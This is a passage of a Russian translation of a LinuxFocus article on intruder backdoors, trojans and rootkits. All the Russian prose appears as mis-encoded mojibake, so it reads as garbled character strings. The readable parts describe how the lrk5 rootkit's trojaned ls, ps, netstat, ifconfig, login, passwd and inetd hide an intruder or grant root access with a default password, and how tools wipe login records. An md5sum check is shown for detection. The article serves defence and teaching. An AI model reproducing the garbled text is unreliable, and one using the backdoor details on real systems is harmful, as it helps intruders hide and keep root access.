|
![]() |
|
![]() Á×ÔÏÒ Frédéric Raynal aka Pappy (homepage) ï Á×ÔÏÒÅ: Frédéric Raynal ÐÏÌÕÞÉÌ ÓÔÅÐÅÎØ ÄÏËÔÏÒÁ ËÏÍÐØÀÔÅÒÎÙÈ ÎÁÕË ÐÏÓÌÅ ÏÐÕÂÌÉËÏ×ÁÎÉÑ ÄÉÓÓÅÒÔÁÃÉÉ Ï ÍÅÔÏÄÁÈ ÓÏËÒÙÔÉÑ ÉÎÆÏÒÍÁÃÉÉ. ïÎ - ÇÌÁ×ÎÙÊ ÒÅÄÁËÔÏÒ ÆÒÁÎÃÕÚÓËÏÇÏ ÖÕÒÎÁÌÁ MISC, ÐÏÓ×ÑÝÅÎÎÏÇÏ ËÏÍÐØÀÔÅÒÎÏÊ ÂÅÚÏÐÁÓÎÏÓÔÉ. ëÓÔÁÔÉ, ÏÎ ÉÝÅÔ ÒÁÂÏÔÕ × ÎÁÕÞÎÏ-ÉÓÓÌÅÄÏ×ÁÔÅÌØÓËÉÈ É ÏÐÙÔÎÏ-ËÏÎÓÔÒÕËÔÏÒÓËÉÈ ÐÒÏÅËÔÁÈ. ðÅÒÅ×ÏÄ ÎÁ òÕÓÓËÉÊ: Kolobynin Alexey <alexey_ak0(at)mail.ru> óÏÄÅÒÖÁÎÉÅ:
|
òÅÚÀÍÅ:
äÁÎÎÁÑ ÓÔÁÔØÑ ÂÙÌÁ ×ÐÅÒ×ÙÅ ÏÐÕÂÌÉËÏ×ÁÎÁ × ÓÐÅÃÉÁÌØÎÏÍ ×ÙÐÕÓËÅ
Linux Magazine France, ÐÏÓ×ÑÝÅÎÎÏÍ ÂÅÚÏÐÁÓÎÏÓÔÉ. òÅÄÁËÔÏÒ, Á×ÔÏÒÙ
É ÐÅÒÅ×ÏÄÞÉËÉ ÌÀÂÅÚÎÏ ÒÁÚÒÅÛÉÌÉ ÏÐÕÂÌÉËÏ×ÁÔØ ×ÓÅ ÓÔÁÔØÉ ÉÚ ÜÔÏÇÏ ×ÙÐÕÓËÁ
ÎÁ LinuxFocus. óÏÏÔ×ÅÔÓÔ×ÅÎÎÏ, LinuxFocus ×ÙÐÕÓÔÉÔ ÉÈ ÓÒÁÚÕ ÖÅ, ËÁË ÏÎÉ ÂÕÄÕÔ
ÐÅÒÅ×ÅÄÅÎÙ ÎÁ ÁÎÇÌÉÊÓËÉÊ. óÐÁÓÉÂÏ ×ÓÅÍ, ËÔÏ ÕÞÁÓÔ×ÕÅÔ × ÜÔÏÊ ÒÁÂÏÔÅ.
äÁÎÎÙÊ ÏÂÚÏÒ ÂÕÄÅÔ ÐÏ×ÔÏÒÑÔØÓÑ × ËÁÖÄÏÊ ÓÔÁÔØÅ ÉÚ ÜÔÏÊ ÓÅÒÉÉ.
÷ ÓÔÁÔØÅ ÒÁÓÓÍÁÔÒÉ×ÁÀÔÓÑ ÒÁÚÌÉÞÎÙÅ ÄÅÊÓÔ×ÉÑ, ËÏÔÏÒÙÅ ÍÏÖÅÔ ÐÒÅÄÐÒÉÎÑÔØ ×ÚÌÏÍÝÉË ÐÏÓÌÅ ÕÓÐÅÛÎÏÇÏ ÐÒÏÎÉËÎÏ×ÅÎÉÑ ÎÁ ÍÁÛÉÎÕ. ôÁËÖÅ ÍÙ ÏÂÓÕÄÉÍ, ÞÔÏ ÍÏÖÅÔ ÓÄÅÌÁÔØ ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÄÌÑ ÏÂÎÁÒÕÖÅÎÉÑ ×ÚÌÏÍÁ.
ðÒÅÄÐÏÌÏÖÉÍ, ÞÔÏ ×ÚÌÏÍÝÉË ÓÕÍÅÌ ÐÒÏÎÉËÎÕÔØ × ÓÉÓÔÅÍÕ, ËÁËÉÍ ÓÐÏÓÏÂÏÍ - ÎÁÍ ÎÅ ×ÁÖÎÏ. íÙ ÐÏÌÁÇÁÅÍ, ÞÔÏ Õ ÎÅÇÏ ÅÓÔØ ×ÓÅ ÐÒÉ×ÉÌÅÇÉÉ (ÁÄÍÉÎÉÓÔÒÁÔÏÒ, root, ...) ÎÁ ÄÁÎÎÏÊ ÍÁÛÉÎÅ. ÷ ÜÔÏÍ ÓÌÕÞÁÅ ÄÏ×ÅÒÑÔØ ÓÉÓÔÅÍÅ ÓÔÁÎÏ×ÉÔØÓÑ ÂÅÓÓÍÙÓÌÅÎÎÏ, ÄÁÖÅ ÅÓÌÉ ×ÓÅ ÕÔÉÌÉÔÙ, ËÁÖÅÔÓÑ, ÇÏ×ÏÒÑÔ ÎÁÍ, ÞÔÏ ×ÓÅ × ÐÏÒÑÄËÅ. ÷ÚÌÏÍÝÉË ×ÓÅ ÐÏÄÞÉÓÔÉÌ × ÌÏÇÁÈ... ÆÁËÔÉÞÅÓËÉ ÏÎ ÕÀÔÎÏ ÕÔÒÏÉÌÓÑ × ×ÁÛÅÊ ÓÉÓÔÅÍÅ.
åÇÏ ÐÅÒ×ÁÑ ÚÁÄÁÞÁ - ÄÅÊÓÔ×Ï×ÁÔØ ËÁË ÍÏÖÎÏ ÂÏÌÅÅ ÏÓÔÏÒÏÖÎÏ, ÞÔÏÂÙ ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÎÅ ÓÍÏÇ ÚÁÍÅÔÉÔØ ÅÇÏ ÐÒÉÓÕÔÓÔ×ÉÑ. úÁÔÅÍ, ÏÎ ÕÓÔÁÎÁ×ÌÉ×ÁÅÔ ×ÓÅ ÐÒÏÇÒÁÍÍÙ, ËÏÔÏÒÙÅ ÂÕÄÕÔ ÅÍÕ ÎÕÖÎÙ ÄÌÑ ÄÏÓÔÉÖÅÎÉÑ ÃÅÌÅÊ. ðÏÎÑÔÎÏ, ÞÔÏ ÅÓÌÉ ÏÎ ÈÏÞÅÔ ÐÒÏÓÔÏ ÕÎÉÞÔÏÖÉÔØ ×ÓÅ ÄÁÎÎÙÅ, ÔÏ ÎÅ ÂÕÄÅÔ ÓÔÏÌØ ÁËËÕÒÁÔÎÙÍ.
ïÞÅ×ÉÄÎÏ, ÞÔÏ ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÎÅ ÍÏÖÅÔ ÐÏÓÔÏÑÎÎÏ ÂÙÔØ ÐÏÄËÌÀÞÅÎÎÙÍ Ë ÍÁÛÉÎÅ É ÐÒÏÓÌÕÛÉ×ÁÔØ
ËÁÖÄÏÅ ÓÏÅÄÉÎÅÎÉÅ. ôÅÍ ÎÅ ÍÅÎÅÅ, ÏÎ ÄÏÌÖÅÎ ÏÂÎÁÒÕÖÉÔØ ×ÔÏÒÖÅÎÉÅ ËÁË ÍÏÖÎÏ ÒÁÎØÛÅ.
÷ÚÌÏÍÁÎÎÁÑ ÓÉÓÔÅÍÁ ÓÔÁÎÏ×ÉÔÓÑ ÂÁÚÏÊ ÄÌÑ ÐÒÏÇÒÁÍÍ ×ÚÌÏÍÝÉËÁ (IRC ÂÏÔ, DDOS, ...).
îÁÐÒÉÍÅÒ, ÉÓÐÏÌØÚÕÑ ÓÎÉÆÅÒ, ÏÎ ÍÏÖÅÔ ÐÒÏÓÍÁÔÒÉ×ÁÔØ ×ÓÅ ÓÅÔÅ×ÙÅ ÐÁËÅÔÙ. íÎÏÇÉÅ ÐÒÏÔÏËÏÌÙ
ÎÅ ÛÉÆÒÕÀÔ ÄÁÎÎÙÅ É ÐÁÒÏÌÉ (ÎÁÐÒÉÍÅÒ, telnet
, rlogin
, pop3
É ÄÒÕÇÉÅ). óÏÏÔ×ÅÔÓÔ×ÅÎÎÏ, ÞÅÍ ÂÏÌØÛÅ ×ÒÅÍÅÎÉ ÅÓÔØ Õ ×ÚÌÏÍÝÉËÁ, ÔÅÍ ÂÏÌØÛÅ ÏÎ ÍÏÖÅÔ ÄÅÒÖÁÔØ
ÐÏÄ ËÏÎÔÒÏÌÅÍ ÓÅÔØ, × ËÏÔÏÒÏÊ ÎÁÈÏÄÉÔÓÑ ÍÁÛÉÎÁ-ÖÅÒÔ×Á.
ëÁË ÔÏÌØËÏ ÅÇÏ ÐÒÉÓÕÔÓÔ×ÉÅ ÂÕÄÅÔ ÏÂÎÁÒÕÖÅÎÏ, ÓÒÁÚÕ ÐÏÑ×ÌÑÅÔÓÑ ÐÒÏÂÌÅÍÁ: ÍÙ ÎÅ ÚÎÁÅÍ, ÞÔÏ ×ÚÌÏÍÝÉË ÉÚÍÅÎÉÌ × ÓÉÓÔÅÍÅ. ÷ÅÒÏÑÔÎÏ ÏÎ ÐÏÄÍÅÎÉÌ ÏÓÎÏ×ÎÙÅ ËÏÍÁÎÄÙ É ÄÉÁÇÎÏÓÔÉÒÕÀÝÉÅ ÕÔÉÌÉÔÙ, ÞÔÏÂÙ ÓËÒÙÔØ ÓÅÂÑ. ðÏÜÔÏÍÕ ÍÙ ÄÏÌÖÎÙ ÐÏÄÈÏÄÉÔØ Ë ÜÔÏÍÕ ÄÅÌÕ Ó ÏÓÏÂÏÊ ÔÝÁÔÅÌØÎÏÓÔØÀ, ÞÔÏÂÙ ÂÙÔØ Õ×ÅÒÅÎÎÙÍÉ, ÞÔÏ ÎÉÞÅÇÏ ÎÅ ÚÁÂÙÌÉ, ÉÎÁÞÅ ÓÉÓÔÅÍÁ ÂÕÄÅÔ ×ÚÌÏÍÁÎÁ ÓÎÏ×Á.
é ÐÏÓÌÅÄÎÅÅ: ËÁËÉÅ ÍÅÒÙ ÄÏÌÖÎÙ ÂÙÔØ ÐÒÅÄÐÒÉÎÑÔÙ? åÓÔØ Ä×Å ÓÔÒÁÔÅÇÉÉ. ìÉÂÏ ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÐÅÒÅÕÓÔÁÎÁ×ÌÉ×ÁÅÔ ×ÓÀ ÓÉÓÔÅÍÕ, ÌÉÂÏ ÚÁÍÅÎÑÅÔ ÔÏÌØËÏ ÉÓÐÏÒÞÅÎÎÙÅ ÆÁÊÌÙ. èÏÔÑ ÐÏÌÎÁÑ ÕÓÔÁÎÏ×ËÁ É ÚÁÎÉÍÁÅÔ ÍÎÏÇÏ ×ÒÅÍÅÎÉ, ÎÏ ÄÌÑ ÔÏÇÏ ÞÔÏÂÙ ÎÁÊÔÉ ×ÓÅ ÉÚÍÅÎÅÎÎÙÅ ÆÁÊÌÙ É ÂÙÔØ Õ×ÅÒÅÎÎÙÍ, ÞÔÏ ÎÉÞÅÇÏ ÎÅ ÐÒÏÐÕÝÅÎÏ, ÎÕÖÎÏ ÏÞÅÎØ ÍÎÏÇÏ ËÒÏÐÏÔÌÉ×ÏÊ ÒÁÂÏÔÙ.
ëÁËÕÀ ÂÙ ÓÔÒÁÔÅÇÉÀ ×Ù ÎÉ ×ÙÂÒÁÌÉ, ÒÅËÏÍÅÎÄÕÅÔÓÑ ÓÄÅÌÁÔØ ËÏÐÉÀ ÉÚÍÅÎÅÎÎÏÊ ÓÉÓÔÅÍÙ, ÞÔÏÂÙ ÕÚÎÁÔØ ÓÐÏÓÏÂ, ËÏÔÏÒÙÍ ×ÚÌÏÍÝÉË ÓÄÅÌÁÌ Ó×ÏÀ ÒÁÂÏÔÕ. âÏÌÅÅ ÔÏÇÏ, ÍÁÛÉÎÁ ÍÏÇÌÁ ÂÙÔØ ÉÓÐÏÌØÚÏ×ÁÎÁ × ÛÉÒÏËÏÍÁÓÛÔÁÂÎÏÊ ÁÔÁËÅ, É ×Ù ÍÏÖÅÔÅ ÂÙÔØ ×Ï×ÌÅÞÅÎÙ × ÓÕÄÅÂÎÏÅ ÒÁÚÂÉÒÁÔÅÌØÓÔ×Ï. ÷ ÜÔÏÍ ÓÌÕÞÁÅ, ÏÔËÁÚ ÏÔ ÓÏÈÒÁÎÅÎÉÑ ÒÅÚÅÒ×ÎÏÊ ËÏÐÉÉ ÍÏÖÅÔ ÂÙÔØ ÒÁÓÓÍÏÔÒÅÎ ËÁË ÓÏËÒÙÔÉÅ ÕÌÉË, × ÔÏ ×ÒÅÍÑ ËÁË ËÏÐÉÑ ÍÏÖÅÔ ×ÁÓ ÏÐÒÁ×ÄÁÔØ.
ïÂÓÕÄÉÍ ÓÅÊÞÁÓ ÎÅÓËÏÌØËÏ ÒÁÚÌÉÞÎÙÈ ÍÅÔÏÄÏ×, ÉÓÐÏÌØÚÕÅÍÙÈ ÄÌÑ ÔÏÇÏ, ÞÔÏÂÙ ÓÔÁÔØ ÎÅ×ÉÄÉÍÙÍ ×Ï ×ÚÌÏÍÁÎÎÏÊ ÓÉÓÔÅÍÅ, ÏÓÔÁ×ÌÑÑ ÐÒÉ ÜÔÏÍ ÚÁ ÓÏÂÏÊ ÍÁËÓÉÍÕÍ ÐÒÉ×ÉÌÅÇÉÊ.
ðÅÒÅÄ ÔÅÍ, ËÁË ÍÙ ÄÏÂÅÒÅÍÓÑ ÄÏ ÓÕÔÉ, ÄÁ×ÁÊÔÅ ÏÐÒÅÄÅÌÉÍÓÑ Ó ÔÅÒÍÉÎÏÌÏÇÉÅÊ:
ðÏÓÌÅ ÐÒÏÎÉËÎÏ×ÅÎÉÑ × ÓÉÓÔÅÍÕ, ×ÚÌÏÍÝÉËÕ ÎÕÖÎÙ ÐÒÏÇÒÁÍÍÙ ÏÂÏÉÈ ÔÉÐÏ×. âÜËÄÏÒÙ ÐÏÚ×ÏÌÑÀÔ ÅÍÕ ÚÁÊÔÉ ÎÁ ÍÁÛÉÎÕ, ÄÁÖÅ ÅÓÌÉ ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÓÍÅÎÉÔ ×ÓÅ ÐÁÒÏÌÉ. ôÒÏÑÎÙ ÏÂÙÞÎÏ ÄÁÀÔ ×ÏÚÍÏÖÎÏÓÔØ ÏÓÔÁ×ÁÔØÓÑ ÎÅÚÁÍÅÞÅÎÎÙÍ.
óÅÊÞÁÓ ÎÁÍ ÎÅ ÂÕÄÅÔ ÒÁÚÎÉÃÙ ÄÁÎÎÁÑ ÐÒÏÇÒÁÍÍÁ Ñ×ÌÑÅÔÓÑ ÔÒÏÑÎÏÍ ÉÌÉ ÂÜËÄÏÒÏÍ. îÁÛÅÊ ÃÅÌØÀ ÂÕÄÅÔ ÐÏËÁÚÁÔØ ÓÕÝÅÓÔ×ÕÀÝÉÅ ÍÅÔÏÄÙ ÉÈ ÒÅÁÌÉÚÁÃÉÉ (ÏÎÉ ÏÞÅÎØ ÐÏÈÏÖÉ) É ÏÂÎÁÒÕÖÅÎÉÑ.
îÁÐÏÓÌÅÄÏË ÚÁÍÅÔÉÍ, ÞÔÏ ÂÏÌØÛÉÎÓÔ×Ï ÄÉÓÔÒÉÂÕÔÉ×Ï× Linux ÐÒÅÄÌÁÇÁÀÔ ÍÅÈÁÎÉÚÍ
ÐÒÏ×ÅÒËÉ ÐÏÄÌÉÎÎÏÓÔÉ (Ô.Å. ÏÄÎÏ×ÒÅÍÅÎÎÕÀ ÐÒÏ×ÅÒËÕ ÃÅÌÏÓÔÎÏÓÔÉ ÆÁÊÌÏ× É ÉÈ
ÉÓÔÏÞÎÉËÁ - ÎÁÐÒÉÍÅÒ, rpm --checksig
). îÁÓÔÏÑÔÅÌØÎÏ ÒÅËÏÍÅÎÄÕÅÍ
×ÏÓÐÏÌØÚÏ×ÁÔØÓÑ ÉÍ ÐÅÒÅÄ ÕÓÔÁÎÏ×ËÏÊ ÐÒÏÇÒÁÍÍÙ ÎÁ ÍÁÛÉÎÕ. åÓÌÉ ×Ù ÐÏÌÕÞÉÔÅ ÉÚÍÅÎÅÎÎÙÊ ÁÒÈÉ×
É ÕÓÔÁÎÏ×ÉÔÅ ÐÒÏÇÒÁÍÍÕ ÉÚ ÎÅÇÏ, ÔÏ ×ÚÌÏÍÝÉËÕ ÂÏÌØÛÅ ÎÉÞÅÇÏ ÎÅ ÎÁÄÏ ÂÕÄÅÔ ÄÅÌÁÔØ
÷ ÐÒÅÄÙÓÔÏÒÉÉ Unix ÎÅ ÂÙÌÏ ÂÏÌØÛÏÊ ÐÒÏÂÌÅÍÏÊ ÏÂÎÁÒÕÖÉÔØ ×ÔÏÒÖÅÎÉÅ ÎÁ ÍÁÛÉÎÕ:
last
ÐÏËÁÚÙ×ÁÅÔ ÕÞÅÔÎÕÀ ÚÁÐÉÓØ(ÚÁÐÉÓÉ), ËÏÔÏÒÁÑ
ÉÓÐÏÌØÚÏ×ÁÌÁÓØ "ÚÌÏÕÍÙÛÌÅÎÎÉËÏÍ" É ÍÅÓÔÏ, ÏÔËÕÄÁ ÏÎ ÚÁÛÅÌ, Ó ÓÏÏÔ×ÅÔÓÔ×ÕÀÝÉÍÉ
ÄÁÔÁÍÉ;
ls
ÐÏËÁÚÙ×ÁÅÔ ÆÁÊÌÙ, Á ps
×Ù×ÏÄÉÔ ÓÐÉÓÏË ÐÒÏÇÒÁÍÍ (ÓÎÉÆÅÒ, ×ÚÌÏÍÝÉËÉ ÐÁÒÏÌÅÊ...) ;netstat
ÏÔÏÂÒÁÖÁÅÔ ÁËÔÉ×ÎÙÅ ÐÏÄËÌÀÞÅÎÉÑ ÎÁ ÍÁÛÉÎÅ;
ifconfig
ÕËÁÚÙ×ÁÅÔ, ÎÁÈÏÄÉÔÓÑ ÌÉ ÓÅÔÅ×ÁÑ ËÁÒÔÁ × ÐÒÏÓÌÕÛÉ×ÁÀÝÅÍ
ÒÅÖÉÍÅ,
ËÏÔÏÒÙÊ ÐÏÚ×ÏÌÑÅÔ ÓÎÉÆÅÒÕ ÐÏÌÕÞÁÔØ ×ÓÅ ÓÅÔÅ×ÙÅ ÐÁËÅÔÙ... ó ÔÅÈ ÐÏÒ ×ÚÌÏÍÝÉËÉ ÒÁÚÒÁÂÏÔÁÌÉ ÓÒÅÄÓÔ×Á ÄÌÑ ÉÚÍÅÎÅÎÉÑ ÜÔÉÈ ËÏÍÁÎÄ. ëÁË ÇÒÅËÉ ÐÏÓÔÒÏÉÌÉ ÄÅÒÅ×ÑÎÎÏÇÏ ËÏÎÑ ÄÌÑ ×ÔÏÒÖÅÎÉÑ × ôÒÏÀ, ÔÁË É ÜÔÉ ÐÒÏÇÒÁÍÍÙ ×ÙÇÌÑÄÑÔ ËÁË ÓÔÁÒÙÅ ÚÎÁËÏÍÙÅ É ÐÏÔÏÍÕ ÎÅ ×ÙÚÙ×ÁÀÔ ÐÏÄÏÚÒÅÎÉÊ Õ ÁÄÍÉÎÉÓÔÒÁÔÏÒÁ. ïÄÎÁËÏ, ÜÔÉ ÎÏ×ÙÅ ×ÅÒÓÉÉ ÓËÒÙ×ÁÀÔ ÉÎÆÏÒÍÁÃÉÀ, ÏÔÎÏÓÑÝÕÀÓÑ Ë ×ÚÌÏÍÝÉËÕ. ôÁË ËÁË ÆÁÊÌÙ ÓÏÈÒÁÎÉÌÉ ÔÅ ÖÅ ×ÒÅÍÅÎÎÙÅ ÍÅÔËÉ, ÞÔÏ É Õ ÄÒÕÇÉÈ ÐÒÏÇÒÁÍÍ ÉÚ ÔÏÊ ÖÅ ÄÉÒÅËÔÏÒÉÉ, É ÎÅ ÉÚÍÅÎÉÌÉÓØ ÉÈ ËÏÎÔÒÏÌØÎÙÅ ÓÕÍÍÙ (ÐÒÉ ÐÏÍÏÝÉ ÄÒÕÇÏÇÏ ÔÒÏÑÎÁ), "ÎÁÓÔÏÑÝÉÊ" ÁÄÍÉÎÉÓÔÒÁÔÏÒ ÐÏÌÎÏÓÔØÀ ÏÂÍÁÎÕÔ.
Linux Root-Kit
(lrk
) - ËÌÁÓÓÉËÁ × Ó×ÏÅÍ ×ÉÄÅ (ÄÁÖÅ ÅÓÌÉ ÎÅÍÎÏÇÏ ÓÔÁÒÏ×ÁÔÁÑ).
éÓÈÏÄÎÏ ÒÁÚÒÁÂÏÔÁÎÎÙÊ Lord Somer-ÏÍ, ÓÅÇÏÄÎÑ ÎÁÈÏÄÉÔÓÑ × Ó×ÏÅÊ ÐÑÔÏÊ ×ÅÒÓÉÉ.
åÓÔØ ÍÎÏÇÏ ÄÒÕÇÉÈ ÒÕÔËÉÔÏ×, É ÚÄÅÓØ ÍÙ ÔÏÌØËÏ ÏÂÓÕÄÉÍ ×ÏÚÍÏÖÎÏÓÔÉ ×ÙÛÅÕËÁÚÁÎÎÏÇÏ, ÞÔÏÂÙ
ÄÁÔØ ×ÁÍ ÐÒÅÄÓÔÁ×ÌÅÎÉÅ Ï ×ÏÚÍÏÖÎÏÓÔÑÈ ÜÔÉÈ ÕÔÉÌÉÔ.
úÁÍÅÎÑÅÍÙÅ ËÏÍÁÎÄÙ ÐÒÅÄÏÓÔÁ×ÌÑÀÔ ÐÒÉ×ÉÌÅÇÉÒÏ×ÁÎÎÙÊ ÄÏÓÔÕÐ Ë ÓÉÓÔÅÍÅ. þÔÏÂÙ ÔÏÔ, ËÔÏ ÉÓÐÏÌØÚÕÅÔ
ÜÔÉ ËÏÍÁÎÄÙ, ÎÅ ÚÁÍÅÔÉÌ ÉÚÍÅÎÅÎÉÊ, ÏÎÉ ÚÁÝÉÝÅÎÙ ÐÁÒÏÌÅÍ (ÐÏ ÕÍÏÌÞÁÎÉÀ satori
),
ÏÎ ÍÏÖÅÔ ÂÙÔØ ÚÁÄÁÎ ÐÒÉ ËÏÍÐÉÌÑÃÉÉ.
ls
, find
, locate
,
xargs
É du
ÎÅ ÂÕÄÕÔ ÏÔÏÂÒÁÖÁÔØ ÅÇÏ ÆÁÊÌÙ;
ps
, top
É pidof
ÂÕÄÕÔ ÓËÒÙ×ÁÔØ ÅÇÏ ÐÒÏÃÅÓÓÙ; netstat
ÎÅ ÂÕÄÅÔ ÏÔÏÂÒÁÖÁÔØ ÎÅÖÅÌÁÔÅÌØÎÙÅ ÓÏÅÄÉÎÅÎÉÑ, ÏÓÏÂÅÎÎÏ ÄÅÍÏÎÏ× ×ÚÌÏÍÝÉËÁ, ÔÁËÉÈ ËÁË
bindshell
, bnc
É eggdrop
; killall
ÏÓÔÁ×ÉÔ ×ÙÐÏÌÎÑÔØÓÑ ÅÇÏ ÐÒÏÃÅÓÓÙ;ifconfig
ÎÅ ÐÏËÁÖÅÔ, ÞÔÏ ÉÎÔÅÒÆÅÊÓ ÎÁÈÏÄÉÔÓÑ × ÐÒÏÓÌÕÛÉ×ÁÀÝÅÍ
ÒÅÖÉÍÅ (ÏÂÙÞÎÏ ÐÏÑ×ÌÑÅÔÓÑ ÓÔÒÏËÁ "PROMISC
", ÅÓÌÉ ÜÔÏ ÔÁË); crontab
ÎÅ ÐÏËÁÖÅÔ ÅÇÏ ÚÁÄÁÎÉÊ;tcpd
ÎÅ ÚÁÎÅÓÅÔ × ÌÏÇ ÓÏÅÄÉÎÅÎÉÑ, ÕËÁÚÁÎÎÙÅ × ËÏÎÆÉÇÕÒÁÃÉÏÎÎÏÍ ÆÁÊÌÅ;syslogd
ÓÄÅÌÁÅÔ ÔÏ ÖÅ, ÞÔÏ É tcpd
.chfn
ÚÁÐÕÓËÁÅÔ ÏÂÏÌÏÞËÕ Ó ÐÒÁ×ÁÍÉ root, ÅÓÌÉ ×ÍÅÓÔÏ ÉÍÅÎÉ ××ÅÄÅÎ ÐÁÒÏÌØ ÒÕÔËÉÔÁ;chsh
ÚÁÐÕÓËÁÅÔ ÏÂÏÌÏÞËÕ Ó ÐÒÁ×ÁÍÉ root, ÅÓÌÉ ×ÍÅÓÔÏ ÉÍÅÎÉ ÎÏ×ÏÊ ÏÂÏÌÏÞËÉ ××ÅÄÅÎ ÐÁÒÏÌØ ÒÕÔËÉÔÁ;passwd
ÚÁÐÕÓËÁÅÔ ÏÂÏÌÏÞËÕ Ó ÐÒÁ×ÁÍÉ root, ÅÓÌÉ ×ÍÅÓÔÏ ÐÁÒÏÌÑ ××ÅÄÅÎ ÐÁÒÏÌØ ÒÕÔËÉÔÁ;login
ÐÏÚ×ÏÌÑÅÔ ×ÚÌÏÍÝÉËÕ ÚÁÊÔÉ ÐÏÄ ÌÀÂÙÍ ÉÍÅÎÅÍ, ÅÓÌÉ ××ÅÄÅÎ ÐÁÒÏÌØ ÒÕÔËÉÔÁ (ÚÁÔÅÍ
ÏÔËÌÀÞÁÅÔÓÑ ×ÅÄÅÎÉÅ history); su
- ÔÏ ÖÅ, ÞÔÏ É login
;inetd
ÕÓÔÁÎÁ×ÌÉ×ÁÅÔ ÎÁ ÐÒÏÓÌÕÛÉ×ÁÎÉÅ ÐÏÒÔÁ ÏÂÏÌÏÞËÕ Ó ÐÒÁ×ÁÍÉ root.
ðÏÓÌÅ ÐÏÄÓÏÅÄÉÎÅÎÉÑ, ÎÅÏÂÈÏÄÉÍÏ ××ÅÓÔÉ ÐÁÒÏÌØ ÒÕÔËÉÔÁ × ÐÅÒ×ÏÊ ÓÔÒÏËÅ;rshd
×ÙÐÏÌÎÑÅÔ ÚÁÐÒÏÛÅÎÎÕÀ ËÏÍÁÎÄÕ Ó ÐÒÁ×ÁÍÉ root-Á, ÅÓÌÉ ×ÍÅÓÔÏ ÉÍÅÎÉ ÐÏÌØÚÏ×ÁÔÅÌÑ
ÕËÁÚÁÎ ÐÁÒÏÌØ ÒÕÔËÉÔÁ;sshd
ÒÁÂÏÔÁÅÔ ËÁË login
, ÎÏ ÐÒÅÄÏÓÔÁ×ÌÑÅÔ ÕÄÁÌÅÎÎÙÊ ÄÏÓÔÕÐ; fix
ÕÓÔÁÎÁ×ÌÉ×ÁÅÔ ÉÚÍÅÎÅÎÎÕÀ ÐÒÏÇÒÁÍÍÕ, ÓÏÈÒÁÎÑÑ ÓÔÁÒÙÅ ×ÒÅÍÅÎÎÙÅ ÍÅÔËÉ É ËÏÎÔÒÏÌØÎÕÀ ÓÕÍÍÕ;linsniffer
ÐÅÒÅÈ×ÁÔÙ×ÁÅÔ ÐÁËÅÔÙ, ×ÙÌÁ×ÌÉ×ÁÅÔ ÐÁÒÏÌÉ É ÄÅÌÁÅÔ ËÏÅ-ÞÔÏ ÅÝÅ;sniffchk
ÐÒÏ×ÅÒÑÅÔ, ÒÁÂÏÔÁÅÔ ÌÉ ÅÝÅ ÓÎÉÆÅÒ;wted
ÐÏÚ×ÏÌÑÅÔ ÒÅÄÁËÔÉÒÏ×ÁÔØ ÆÁÊÌ wtmp
; z2
ÕÄÁÌÑÅÔ ÎÅÎÕÖÎÙÅ ÚÁÐÉÓÉ ÉÚ
wtmp
, utmp
É
lastlog
; üÔÏÔ ËÌÁÓÓÉÞÅÓËÉÊ ÒÕÔËÉÔ ÕÓÔÁÒÅÌ, ÔÁË ËÁË ÎÏ×ÏÅ ÐÏËÏÌÅÎÉÅ ÒÕÔËÉÔÏ× ÎÁÐÒÑÍÕÀ ÁÔÁËÕÀÔ ÓÉÓÔÅÍÎÏÅ ÑÄÒÏ. ë ÔÏÍÕ ÖÅ ×ÅÒÓÉÉ ÉÚÍÅÎÑÅÍÙÈ ÐÒÏÇÒÁÍÍ ÂÏÌØÛÅ ÎÅ ÉÓÐÏÌØÚÕÀÔÓÑ.
üÔÏÔ ×ÉÄ ÒÕÔËÉÔÏ× ÌÅÇËÏ ÏÂÎÁÒÕÖÉÔØ, ÅÓÌÉ × ÓÉÓÔÅÍÅ ÓÔÒÏÇÁÑ ÐÏÌÉÔÉËÁ ÂÅÚÏÐÁÓÎÏÓÔÉ. ëÒÉÐÔÏÇÒÁÆÉÑ, ÓÏ Ó×ÏÉÍÉ ÈÜÛ-ÆÕÎËÃÉÑÍÉ, ÄÁÅÔ ÎÁÍ ÎÕÖÎÙÊ ÉÎÓÔÒÕÍÅÎÔ:
[lrk5/net-tools-1.32-alpha]# md5sum ifconfig 086394958255553f6f38684dad97869e ifconfig [lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig` f06cf5241da897237245114045368267 /sbin/ifconfig
îÅ ÚÎÁÑ, ÞÔÏ ÂÙÌÏ ÉÚÍÅÎÅÎÏ, ÏÎ ÍÏÖÅÔ ÓÒÁÚÕ ÐÏËÁÚÁÔØ, ÞÔÏ ÕÓÔÁÎÏ×ÌÅÎÎÙÊ
ifconfig
É ifconfig
ÉÚ lrk5
- ÒÁÚÌÉÞÎÙ.
ðÏÜÔÏÍÕ, ÓÒÁÚÕ ÐÏÓÌÅ ÕÓÔÁÎÏ×ËÉ ÓÉÓÔÅÍÙ, ÎÅÏÂÈÏÄÉÍÏ ÓÏÈÒÁÎÉÔØ ÈÜÛÉ ×ÁÖÎÙÈ ÆÁÊÌÏ× (×ÅÒÎÅÍÓÑ Ë "×ÁÖÎÙÍ ÆÁÊÌÁÍ" ÐÏÚÖÅ) × ÂÁÚÕ ÄÁÎÎÙÈ, ÞÔÏÂÙ ÉÍÅÔØ ×ÏÚÍÏÖÎÏÓÔØ ËÁË ÍÏÖÎÏ ÂÙÓÔÒÅÅ ÏÂÎÁÒÕÖÉÔØ ÌÀÂÏÅ ÉÚÍÅÎÅÎÉÅ.
üÔÁ ÂÁÚÁ ÄÏÌÖÎÁ ÂÙÔØ ÐÏÍÅÝÅÎÁ ÎÁ ÆÉÚÉÞÅÓËÉ ÎÅ ÐÅÒÅÚÁÐÉÓÙ×ÁÅÍÙÊ ÎÏÓÉÔÅÌØ (ÄÉÓËÅÔÁ, ÎÅ ÐÅÒÅÚÁÐÉÓÙ×ÁÅÍÙÊ CD...). ðÒÅÄÐÏÌÏÖÉÍ, ÞÔÏ ×ÚÌÏÍÝÉË ÐÏÌÕÞÉÌ ÐÒÁ×Á ÁÄÍÉÎÉÓÔÒÁÔÏÒÁ × ÓÉÓÔÅÍÅ. åÓÌÉ ÂÁÚÁ ÄÁÎÎÙÈ ÂÙÌÁ ÐÏÍÅÝÅÎÁ ÎÁ ÒÁÚÄÅÌ ÄÏÓÔÕÐÎÙÊ ÔÏÌØËÏ ÄÌÑ ÞÔÅÎÉÑ, ÔÏ ÅÍÕ ÄÏÓÔÁÔÏÞÎÏ 